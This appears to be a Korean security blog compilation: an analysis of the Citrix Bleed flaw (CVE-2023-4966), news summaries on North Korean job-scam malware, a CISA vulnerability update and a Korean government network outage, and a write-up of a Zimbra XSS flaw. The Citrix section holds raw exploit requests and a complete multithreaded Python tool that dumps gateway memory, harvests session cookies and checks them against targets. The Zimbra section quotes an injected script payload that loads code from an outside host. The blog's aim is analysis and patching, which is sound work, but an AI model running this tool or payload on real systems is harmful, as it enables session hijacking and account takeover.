1. NetScaler ADC 및 NetScaler Gateway

- 네트워크를 통해 제공되는 애플리케이션 및 서비스의 성능, 보안, 가용성을 향상시키는 데 사용되는 네트워킹 제품

> NetScaler ADC: 네트워크 내에서 애플리케이션 제공을 최적화하고 보호하는 데 중점
> NetScaler Gateway: 해당 애플리케이션과 내부 리소스에 대한 안전한 원격 액세스를 제공하는 데 중점

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966 [1]

 

- NetScaler 장비를 게이트웨이(VPN 가상 서버, ICA 프록시, CVPN, RDP 프록시) 또는 AAA 가상 서버로 구성한 경우 발생하는 취약점 (CVSS: 9.4)

> BoF로 인해 메모리 값을 반환하며, 그 중 세션 쿠키 등 유효한 값이 포함되어 있어 세션 하이재킹으로 인증 우회가 가능

> 여러 공격 그룹에서 취약점을 악용해 랜섬웨어 등을 유포하고 있어 벤더사 및 CISA에서 패치 촉구 [2]

※ AAA (Authentication, Authorization, Accounting) [3][4]
⒜ 세 가지의 독립적이면서도 서로 관련된 구성 요소로 이루어진 프레임워크
⒝ 불법적인 네트워크 서비스 사용을 방지하고자 사용자 인증, 권한제어, 과금을 위해 다양한 네트워크 기술과 플랫폼들에 대한 개별 규칙들을 조화시키기 위한 프레임워크
⒞ 일반적으로 서버-클라이언트로 구성
⒟ Authentication (인증) : 사용자의 접근을 결정하기 위해 사용자의 신원을 검증하는 과정
⒠ Authorization (권한부여) : 사용자의 신원 검증 후 리소스에 대한 접근 권한 및 정책을 결정
⒡ Accounting (계정관리) : 사용자의 활동을 기록, 수집하여 과금, 감사, 보고서 기능을 제공

 

영향받는 버전
- NetScaler ADC 및 NetScaler Gateway 14.1(14.1-8.50 이전)
- 13.1-49.15 이전의 NetScaler ADC 및 NetScaler Gateway 13.1
- 13.0-92.19 이전의 NetScaler ADC 및 NetScaler Gateway 13.0
- 13.1-37.164 이전의 NetScaler ADC 13.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-NDcPP
※ NetScaler ADC 및 NetScaler Gateway 버전 12.1은 EOL(End-of-Life) 더욱 취약함

 

2.1 취약점 상세 [5][6][7]

- NetScaler ADC 및 Gateway 제품은 NetScaler 패킷 처리 엔진(nsppe)을 사용하여 TCP/IP 연결 및 HTTP 서비스를 처리

> 취약한 버전의 제품에서 OpenID Connect Discovery 엔드포인트를 구현하는 nsspe 바이너리에서 취약점 발생

 

- 아래 함수는 OpenID 구성을 위한 JSON 페이로드를 생성하고 snprintf()를 사용해 페이로드에 호스트 이름을 삽입

> snprintf()의 반환값 iVar3를 ns_vpn_send_response에 의해 클라이언트에 전송되는 바이트 수를 결정하는 데 사용되기 때문에 발생

> snprintf가 버퍼에 쓴 바이트 수를 반환하지 않기 때문에 발생

“snprintf가 자동으로 문자열을 잘라낼 때, snprintf가 작성한 바이트의 수에 대한 정보는 되돌려주지 않습니다. 오히려 아웃풋 버퍼가 충분한 크기일 때 결과로 나올 법한 바이트의 수를 되돌려주죠.” [8]

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

 

- 취약한 URL

hxxtps://<Gateway or ADC IP address>/oauth/idp/.well-known/openid-configuration

 

- 공격자는 버퍼 크기 0x20000 바이트 를 초과하는 응답을 얻는 요청을 전송

> 해당 요청에 대한 응답으로 메모리값이 노출되며, 대부분 Null 바이트였으나 유의미한 정보가 포함되어 있음

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

 

- 위 응답에서 확인한 유의미한 정보인 쿠키(NSC_AAAC)를 이용해 유효한 세션 쿠키인지 확인이 가능

> 모든 NetScaler 인스턴스가 동일한 종류의 인증을 사용하도록 구성되어 있지는 않음

> 하지만, 테스트한 대부분의 인스턴스에서 32 바이트 또는 65 바이트 길이의 16진수 문자열이 발견

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close


HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web

testuser1

 

2.2 PoC [9]

① URL "/oauth/idp/.well-known/openid-configuration"에 GET 메소드 요청을 전송

> 메모리 덤프 시도

② 요청에 대한 서버의 응답에서 유의미한 정보(NSC_AAAC: 세션토큰) 유무 확인

③ NSC_AAAC 헤더를 설정해 "/logon/LogonPoint/Authentication/GetUserName" URL에 POST 메소드 요청 전송

> 해당 세션 토큰이 유효한지 확인

import re
import sys
import argparse
import requests

from urllib.parse import urlparse
from rich.console import Console
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class CitrixMemoryDumper:
    SESSION_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
    
    def __init__(self):
        self.console = Console()
        self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
        self.setup_arguments()
        self.results: List[Tuple[str, str]] = []
        self.output_file: Optional[TextIO] = None
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

    def setup_arguments(self) -> None:
        self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        full_url = self.normalize_url(url)
        headers = {
            "Host": "a" * 24576
        }
        try:
            r = requests.get(
                f"{full_url}/oauth/idp/.well-known/openid-configuration",
                headers=headers,
                verify=False,
                timeout=10,
            )
            
            content_bytes = r.content
            if r.status_code == 200 and content_bytes:
                cleaned_content = self.clean_bytes(content_bytes).replace(b'a'*65, b'')
                
                if self.args.verbose and self.args.url:
                    self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
                    self.results.append(("text", cleaned_content.decode('utf-8', 'ignore')))
                    self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))
                
                session_tokens = self.find_session_tokens(content_bytes)
                valid_token_found = False

                for token in session_tokens:
                    if self.test_session_cookie(full_url, token):
                        valid_token_found = True

                if not valid_token_found:
                    if not self.args.only_valid:
                        if self.args.url:
                            self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
                        else:
                            self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))

            elif self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))
            
    def clean_bytes(self, data: bytes) -> bytes:
        return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
   
    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        sessions = [match.group(1).decode('utf-8') for match in self.SESSION_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42')]
        return sessions

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        headers = {
            "Cookie": f"NSC_AAAC={session_token}"
        }
        try:
            r = requests.post(
                f"{url}/logon/LogonPoint/Authentication/GetUserName",
                headers=headers,
                verify=False,
                timeout=10,
            )
            if r.status_code == 200:
                username = r.text.strip()
                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
                return True
            else:
                return False
        except Exception as e:
            self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
            return False
        
    def run(self) -> None:
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        elif self.args.file:
            with open(self.args.file, 'r') as file:
                urls = file.read().splitlines()
                with ThreadPoolExecutor(max_workers=200) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                    futures = {executor.submit(self.dump_memory, url): url for url in urls}
                    for future in as_completed(futures):
                        for header, result in self.results:
                            self.print_results(header, result)
                        self.results.clear()
                        bar()
        else:
            self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
            sys.exit(1)
        
        if self.output_file:
            self.output_file.close()

if __name__ == "__main__":
    dumper = CitrixMemoryDumper()
    dumper.run()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 해당 취약점 외 DDoS(CVE-2023-4967)을 포함한 업데이트 제공

> 업데이트 버전에서는 snprintf()의 반환값 uVar7이 0x20000 보다 작은 경우에만 응답이 전송되도록 함

제품명 영향받는 버전 해결버전
NetScaler ADC 및 NetScaler Gateway 14.1 14.1-8.50 이전 버전 14.1-8.50
NetScaler ADC 및 NetScaler Gateway 13.1  13.1-49.15 이전 버전 13.1-49.15
NetScaler ADC 및 NetScaler Gateway 13.0 13.0-92.19 이전 버전 13.0-92.19
NetScaler ADC 13.1-FIPS 13.1-37.164 이전 버전 13.1-37.164
NetScaler ADC 12.1-FIPS 12.1-55.300 이전 버전 12.1-55.300
NetScaler ADC 12.1-NDcPP 12.1-55.300 이전 버전 12.1-55.300
uVar7 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

 

- 모니터링 강화

> 로그 파일(/var/log/ns.log. nslog) 점검_외부 IP에서의 접속, 동일 IP의 여려 세션 생성 시도 등

> 취약점 악용 시도 탐지를 위한 규칙 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a
[3] https://layer3.tistory.com/11
[4] https://jhkim3624.tistory.com/205
[5] https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
[6] https://www.picussecurity.com/resource/blog/cve-2023-4966-lockbit-exploits-citrix-bleed-in-ransomware-attacks
[7] https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966
[8] https://www.boannews.com/media/news_print.asp?idx=74361

[9] https://github.com/mlynchcogent/CVE-2023-4966-POC

[10] https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71231
[12] https://www.boannews.com/media/view.asp?idx=123060&page=1&kind=4
[13] https://www.boannews.com/media/view.asp?idx=123321&page=1&kind=1
[14] https://www.boannews.com/media/view.asp?idx=123993&page=1&kind=1

요약 - 북한 해커들이 헤드헌트, 구직자로 위장해 멀웨어 유포
- 국정원과 영국 국가사이버안보센터는 북한 SW 공급망 해킹 위협 공동 경고
내용 - 북한 해커의 위장 취업 활동 두 가지가 Palo Alto Networks에 의해 발견
① Contagious Interview
> 가짜 면접을 진행하며 각종 멀웨어를 퍼트리는 게 주 목적
> 암호화폐를 훔치고 손상된 대상을 추가 공격을 위한 준비 환경으로 사용
> Github 저장소와 위조된 신원을 사용해 구직 활동
※ Windows, Linux, macOS에서 동작하는 두가지 악성코드가 포함
⒜ BeaverTail: JavaScript로 작성된 백도어(InvisibleFerret) 로더
⒝ InvisibleFerret: 웹 브라우저와 암호화폐 지갑의 민감 정보 탈취, 키로깅, 원격 제어 등의 기능을 가진 백도어

② Wagemole
> 금전적 이득과 스파이 활동
> 스스로가 원격 근무자가 되어 기업에 위장 취업
> 회사 시스템에 잠입하여 암호화폐를 채굴하거나 중요 정보를 캐내는 것을 목적

- 23.11.23 국정원은 영국 국가사이버안보센터와 합동으로 '사이버보안 권고문' 발표
> 북한 해킹조직이 인기있는 공급망 제품을 대상으로 한 해킹 수법을 확인하고, 피해 예방을 위한 보안 강화 당부
> MagicLine4NX, 3CX 공급망 공격 사례를 언급하며 공격 방법과 침해지표를 공유
※ MagicLine4NX : 워터링홀 공격으로 기관 인터넷 PC 우선 점거 후 시스템 취약점을 악용해 내부망 접근 및 자료 탈취
※ 3CX : 3CX 개발과정에 침투해 설치 프로그램에 악성코드를 은닉 및 공식 웹 사이트를 통해 유포
기타 - 관련 Github 계정은 빈번한 업데이트 및 여러 활동으로 합법적 계정과 구분 불가
> 소프트웨어 개발자는 공급망 공격의 가장 약한 연결고리인 경우가 많음
> 따라서, 관련된 공격 행위가 지속될 것

- 23.11.22 한국-영국 간 '사이버분야 파트너십' 채결
> 파트너십 체결 직후 조치된 첫 번째 결과물
> 영국은 파이브아이즈 이외 국가와 체결한 첫번째 파트너십
> 국정원은 2월 미 NSA, 3월 독일 헌법보호청, 6월 미국 국무부에 이은 4번째 합동 권고문 발표
> 최근 국가배후 해킹조직의 공격은 어느 한 나라에 국한해 발생하는 것이 아님
> 따라서, 국제적 공조가 필수적

 

보안뉴스

 

North Korean Hackers Pose as Job Recruiters and Seekers in Malware Campaigns

North Korean hackers posing as recruiters infect software developers with cross-platform malware.

thehackernews.com

 

북한, 가짜 취업 면접 진행하며 소프트웨어 개발자들 노려

보안 외신 해커뉴스에 의하면 북한 해커들이 다시 한 번 리크루터나 헤드헌트, 구직자로 위장해 사람과 기업들을 유혹하고 있으며, 피해자들을 통해 멀웨어를 퍼트리고 있다고 한다. 세계 각지

www.boannews.com

 

한·영 사이버안보기관, 북한 소프트웨어 공급망 해킹 위협 공동 경고

국정원 국가사이버안보센터(NCSC)는 11월 23일 영국 정부통신본부(GCHQ) 소속 국가사이버안보센터(NCSC)와 합동으로 발표한 ‘사이버보안 권고문’을 통해 북한 해킹조직이 다수 기업과 개인들이 사

www.boannews.com

 

NIS 국가정보원

대한민국 국가정보원 공식 홈페이지

www.nis.go.kr

 

국가사이버안보센터

국제 및 국가배후 해킹 조직 관련 사이버위협 예방·대응, 보안적합성·암호모듈 검증제도 등 정보수록

www.ncsc.go.kr:4018

 

요약 - CISA, 알려진 익스플로잇 취약점(KEV) 업데이트
- 공격자들이 알려진 취약점 계속 악용하고 있어 즉각적 조치 촉구
내용 - 총 3가지 취약점 업데이트
① 소포스 웹 어플라이언스 취약점 (CVE-2023-1671)
- Sophos 웹 어플라이언스 4.3.10.4 이전 버전의 명령 인젝션 취약점 (CVSS 9.8)
- Sophos는 6개월 전인 4월 4일에 자동 패치가 배포되었다고 강조
> 계획된 업데이트의 일환으로 23년 7월에 Sophos 웹 어플라이언스를 단계적으로 종료할 예정
> 남은 사용자들에게 네트워크 보안을 강화하기 위해 Sophos 방화벽으로 업그레이드할 것을 권장

② 오라클 웹로직 서버 취약점 (CVE-2020-2551):
- 오라클 웹로직 서버 제품의 취약점 (CVSS 9.8)
> 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 및 12.2.1.4.0에 영향을 미침
> 인터넷 인터오브 프로토콜(IIOP)을 통해 네트워크에 액세스할 수 있는 인증되지 않은 공격자의 서버 엑세스가 가능해짐

③ 마이크로소프트 윈도우 웹 마크 오브 더 웹(MOTW) 취약점 (CVE-2023-36584):
- Microsoft Windows의 MOTW 취약점 (CVSS 5.4)
> 취약점으로 인해 보안 기능을 우회할 수 있음
> MOTW 태깅에 의존하는 Microsoft Office의 보호된 보기와 같은 보안 기능의 무결성 및 가용성이 제한적으로 손실될 수 있음
※ MS 설명
> 이 취약점을 악용하기 위해 공격자가 자신이 제어하는 서버에서 파일을 호스팅
> 표적이 된 사용자가 파일을 다운로드하고 열도록 유도할 수 있음
> 이렇게 하면 공격자가 MOTW 기능을 방해할 수 있음

- CISA는 각 공급업체의 지침에 따라 즉시 완화 조치를 적용할 것을 권고
> 완화 조치를 적용할 수 없는 경우 영향 받는 제품의 사용 중단 권장
> 사이버 보안 조치의 우선순위를 정하고 시스템을 최신 상태로 유지할 것을 촉구
> 잠재적인 사이버 위협으로부터 보호하려면 정기적인 모니터링과 사전 예방적 보안 조치가 중요
> 최신 정보를 파악하고 보안 권고에 신속하게 대처하는 것이 무엇보다 중요
기타 - 인터넷 인터오브 프로토콜 (Internet Inter-ORB Protocol, IIOP)
> 다른 프로그래밍 언어로 작성된 분산 프로그램 간의 네트워크 상호 작용을 용이하게하는 데 사용되는 객체 지향 프로토콜

- Mark of the Web (MOTW)
> 인터넷에서 다운로드한 파일이라는 것을 표시해주며, 해당 파일 실행 시 보안 경고 알림이 발생 및 컨텐츠 활성화시 신뢰할 수 있는 문서로 간주되어 매크로 실행이 허용됨

 

보안뉴스

 

[긴급] CISA, 소포스-오라클-마이크로소프트 제품 심각한 보안취약점…주의보 발령 - 데일리시큐

사이버 보안 및 인프라 보안국(CISA)은 최근 권고문을 통해 알려진 익스플로잇 취약점(KEV) 카탈로그에 주요 사이버 보안 및 소프트웨어 대기업인 소포스(Sophos), 오라클(Oracle), 마이크로소프트(Micro

www.dailysecu.com

 

요약 - 23.11.17 국가 행정전산망 장애 및 정부 24 서비스 전면 중단
- 23.11.20 국가 행정전산망 복구
내용 - 23.11.17 09시 국가 행정전산망 장애 발생
> 몇몇 지자체 홈페이지, 행정 포털, 온나라 메일, 공무원 전용 메신저 등 마비

- 23.11.17 14시경 정부 24 포털 서비스 전면 중단
> 국가정보자원관리원 네트워크 장비 오류 등으로 서비스 일시 중단 안내 
> 중단 일시는 2023년 11월 17일 13시 55분부터 조치시까지
> 공공기관에서의 민원서류 발급은 온·오프라인 모두 전면 중단
> 대통령 신속 복구 목적의 ‘정부합동 TF’를 즉각 가동 지시
※ 11.17 19시 ~ 11.19 11시까지 국가정보자원관리원 내 서버 작업이 예정되 있었으나, 작업 이전 네트워크 장비 오류 발생으로 서비스 중단

- 23.11.18 09시부터 정부 24 서비스 재개
> 국가정보시스템의 일부 서비스는 장애 상태 유지
> 행안부는 시군구 및 읍면동 주민센터에서 15시부터 민원 처리가 실제 작동하는 확인 점검

- 23.11.20 국가 행정전산망 복구되었으나, 구체적인 장애 원인이 명확히 밝혀지지 않음
① 가능성 1: 장비 교체 과정에서의 문제
> 장비 교체 중 호환성 문제 등으로 제대로 통신이 안되거나 장애가 발생하는 일은 흔함
※ 전산망 마비 사태 이후 장비가 교체됐기 때문에 원인은 아님_18일 국가정보자원관리원의 요청으로 L4 스위치 교체 후 서비스 가오픈

② 가능성 2: 네트워크 작업 과정에서의 오류 
> 작업자의 명령 실수 등으로 인한 오류 발생 가능성

③ 가능성 3: OS 펌웨어 문제로 인한 오류
> 업데이트 과정에서 호환성 문제 등 여러 변수와 요인들로 인해 한 번에 업데이트가 안 되는 경우가 많음

- 서비스 이중화 구성이 미흡했다는 지적
> 장애 발생 시 서비스를 신속하게 대체할 수 있는 조치 미흡
> 업무영속성(BCP)과 재난복구성(DRP)이 실질적으로 이루어지지 않음

- 23.11.20 15:30 '지방행정전산서비스장애 대책본부 회의' 진행
> 지방행정전산서비스 작동상황, 민원처리 상황 등 종합적 점검 및 향후 대응 방안 논의
> 07시부터 지방행정전산서비스 장애대응 상황실 운영_서비스 상태 실시간 모니터링 및 서비스 장애·지연 대비

- 행안부는 '지방행정전산서비스 개편 TF'를 21일 구성 예정
> 민간 전문가와 정부, 지자체, 관계기관 등이 참여
> 원인 분석결과와 함께 시스템 전반에 대해 검토하여 재발방지 대책을 마련할 예정

- 행안부 장애 원인 발표
> 행정전자서명인증서(GPKI)와 연동된 일부 네트워크 장비(L4 스위치) 이상
> 네트워크 장애 발생으로 공무원의 인증 요청이 제대로 전달되지 않았 발생
※ 행정전자서명인증서(GPKI): 행정전자서명의 진위를 확인하기 위해 행정기관·공공기관 등에서 사용자에게 발급하는 전자적 정보

- 23.11.22 11:45경 메모리 과부하로 주민등록시스템 장애
> 11:45부터 20분간 시스템 재가동
> WAS 메모리 풀 가동으로 서비스 지연 발생
> 이전 행정전산망 오류와는 무관
기타 - 정부 기반 시스템에 대한 전체적인 개선과 투자가 이루어질 수 있는 시스템을 만드는 것이 우선되어야 한다는 목소리 多
> 지나친 책임자 추궁 및 담당자 꼬리자르기식 대처는 IT와 보안에 대한 투자가 줄어드는 악순환으로 이어질것
> 또한, 악순환에따른 피해는 국민들이 보게 될 것

- 행안부
> 장애가 복구되어 납부할 수 있게 되는 시점까지 공공 민원에 대해서는 납부기한을 연장
> 즉시 처리를 요하는 민원은 수기로 선접수 받은 후 17일자로 소급 처리
> 모든 행정망 시스템 점검 및 이상유무 확인·점검 등

- 원인 파악이 쉽지 않은 만큼 정상화 이후 충분히 파악할 수 있도록 시간이 확보돼야 함
> 철저한 장애 원인 규명으로 동일 장애 발생 방지
> 장애대응 체계의 전반적인 점검과 개선이 필요

- 2018 행정전자서명인증서의 보안성 훼손 문제
> 무분별한 인증서 발급
> 당시 교육부 산하 교육기관에 발급한 인증서는 신뢰할 수 없는 기관도 포함

- 행정전자서명의 인증
> 행정안전부를 최상위 인증기관
> ‘행정전자서명 인증관리센터’에서 발급·갱신 및 폐지 등의 관리 담당
> 행정전자서명 인증은 전자정부의 신뢰를 보장하는 장치로 중요성 강조
> 기관 간 유통되는 전자공문서의 위·변조를 방지 및 전자적 민원 처리 시 민원인의 신원을 확인하기 때문
> 신뢰성과 안전성 보장이 필수적인 디지털 정부의 토대

- 행안부 차세대 주민등록시스템 전환
> 기존 주민등록시스템은 지역별 자체 관리하는 방식이며, 델파이(클라이언트-서버) 방식으로 운영
> 차세대 주민등록시스템은 전국 지방자치단체의 서비스를 하나로 통합해 서비스하며, 웹 방식으로 전환
> 웹 방식으로 변화에 따라 메모리 관리가 더욱 중요해짐

 

보안뉴스

 

국가 행정전산망 장애 발생... 정부기관 및 지자체 온라인 서비스 차질

국가행정망에 장애가 발생하고 있는 것으로 알려졌다. 현재 몇몇 지방자치단체의 홈페이지와 행정 포털 등 전산망이 제대로 운영되지 않고 있다. 이 같은 장애로 공직자통합메일(온나라 메일)

www.boannews.com

 

‘정부24’ 포털 서비스 전면 중단... 민원 서류 발급 불가능해져 시민 불편 잇따라

국가 행정전산망이 장애가 발생한 데 이어 정부 온라인 민원 서비스인 ‘정부 24’ 서비스도 전면 중단돼 민원 서류 발급이 사실상 불가능해졌다.

www.boannews.com

 

‘정부24’ 먹통 하루 만에 복구됐지만... 국가정보시스템 일부 서비스 여전히 ‘마비’

정부 온라인 민원 서비스인 ‘정부24’가 서비스가 마비된 지 하루 만인 18일 오전 9시 경 복구돼 서비스를 재개했다. 그러나 국가정보시스템의 일부 서비스는 여전히 장애를 겪고 있는 상황이다

www.boannews.com

 

행정전산망 장애 복구 위해 지자체 현장 확인점검 나섰다

행정안전부는 지방행정정보시스템(시도 새올행정시스템)의 장애를 복구하기 위해 서버 및 네트워크 장비 등의 이상 여부를 세밀하게 확인하고 점검 중에 있다고 밝혔다.

www.boannews.com

 

정부 새올행정시스템 마비 사태, 마녀사냥식 담당자 처벌 보다 시스템 개선 체계 구축이 우선 -

11월 17일, 지방행정공통시스템인 새올행정시스템에 장애가 발생해 지자체 민원실과 정부24 등에서 업무처리가 마비되는 초유의 사태가 발생했다. 이에 책임자 추궁 및 마녀사냥식 담당자 꼬리

www.dailysecu.com

 

행정전산망 마비 사태 왜 일어났나? 네트워크 장비 교체 시기와 시스템 이중화 대처 ‘미흡’ 논

대국민 민원 서비스인 ‘정부24’와 공무원 전용 행정전산망 ‘새올’ 시스템을 비롯한 국가 행정전산망이 약 3일 동안 마비됐다가 복구된 가운데, 이를 관리하는 행정안전부 산하 국가정보자

www.boannews.com

 

행정전산망 정상 작동…민간전문가 포함 지방행정전산서비스 개편TF 구성 종합대책 마련중 - 데

이상민 행정안전부 장관은 20일 15시30분, 정부서울청사에서 ‘지방행정전산서비스장애 대책본부 회의’를 주재했다.이 장관은 회의에서 시도·새올행정시스템 및 정부24 등 작동 상황, 지자체

www.dailysecu.com

 

초유의 행정전산망 장애로 이슈화된 행정전자서명인증서, 도대체 뭐길래?

행정안전부는 장애 발생 53시간 만에 행정전자서명인증서(GPKI)와 연동된 일부 네트워크 장비(L4 스위치) 이상을 원인으로 꼽았다. 이로 인해 GPKI에 대한 관심과 함께 보안성 이슈도 다시 한번 불

www.boannews.com

 

행정전산망 또 멈췄다? 행안부 “주민등록시스템 장애... 메모리 과부하가 원인”

국가 행정전산망 오류가 발생한지 채 일주일이 지나지 않은 22일 오전, 이번에는 주민등록시스템에서 일시적인 장애가 발생해 큰 우려를 자아냈다. 다만 시스템을 담당하는 행정안전부 담당자

www.boannews.com

 

1. Zimbra Collaboration Suite (ZCS)

- Zimbra, Inc에서 개발한 이메일 서버와 웹 클라이언트를 포함하는 협업 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-37580 [1]

 

- 취약한 버전의 ZCS에서 매개변수에 대한 검증이 부족하여(또는 없어) 발생하는 XSS 취약점

- 미상의 해킹 그룹이 해당 취약점을 이용해 전세계 여러 정부 기관을 익스플로잇

영향받는 버전
ZCS 8.8.15 Patch 41 이전 8.8.X 버전

 

2.1 취약점 상세 [2]

- momoveto 파일의 st 매개변수에대한 입력값 검증이 부족(또는 없어) 발생하는 것으로 판단됨

> 취약 파일 경로: /opt/zimbra/jetty/webapps/zimbra/m/momoveto

> 업데이트 이전 환경을 확인해보면 st 매개변수에대한 검증이 없이 사용되는 것으로 판단됨

<input name="st" type="hidden" value="${param.st}"/>

 

 

- 공격 스크립트 및 디코딩 결과는 다음과 같음

[공격 스크립트]
hxxps://mail.REDACTED[.]com/m/momovetost=acg%22%2F%3E%3Cscript%20src%3D%22hxxps%3A%2F%2Fobsorth%2Eopwtjnpoc%2Eml%2FpQyMSCXWyBWJpIos%2Ejs%22%3E%3C%2Fscript%3E%2F%2F

[디코딩]
hxxps://mail.REDACTED[.]com/m/momoveto?st=acg"/><script src="hxxps://REDACTED/script.js"></script>//

 

 

- 공격자는 익스플로잇 URL이 포함된 메일 전송

